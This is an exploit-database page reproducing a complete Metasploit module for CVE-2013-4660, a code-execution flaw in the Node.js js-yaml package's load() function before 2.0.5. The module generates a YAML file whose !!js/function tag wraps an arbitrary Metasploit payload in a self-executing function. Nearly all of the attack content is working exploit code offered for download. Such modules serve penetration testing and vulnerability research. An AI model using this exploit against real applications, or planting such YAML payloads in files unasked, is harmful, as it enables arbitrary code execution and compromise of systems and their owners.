Exploit database

MSF-multi--fileformat--nodejs_js_yaml_load_code_exec

Nodejs js-yaml load() Code Execution

MetasploitNodeJSremote
Download source

Sources for CVE-2013-4660

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

nodejs_js_yaml_load_code_exec.rb

Ruby · 1,838 bytes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nodejs js-yaml load() Code Execution',
        'Description' => %q{
          This module can be used to abuse node.js applications that parse user-supplied YAML input
          using the load() function from the 'js-yaml' package < 2.0.5, which doesn't properly handle
          the unsafe !!js/function tag, allowing to specify a self-executing function which results
          on execution of arbitrary javascript code.
        },
        'Author' => [
          'Neal Poole', # Vulnerability discovery
          'joev' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2013-4660'],
          ['OSVDB', '94656'],
          ['BID', '60867'],
          ['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']
        ],
        'Platform' => 'nodejs',
        'Arch' => ARCH_NODEJS,
        'Privileged' => false,
        'Targets' =>	[['Automatic', {}]],
        'DisclosureDate' => '2013-06-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])
    ])
  end

  def exploit
    p = payload.encoded
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create("a: !!js/function >\n  (function(){ #{p} })();")
  end
end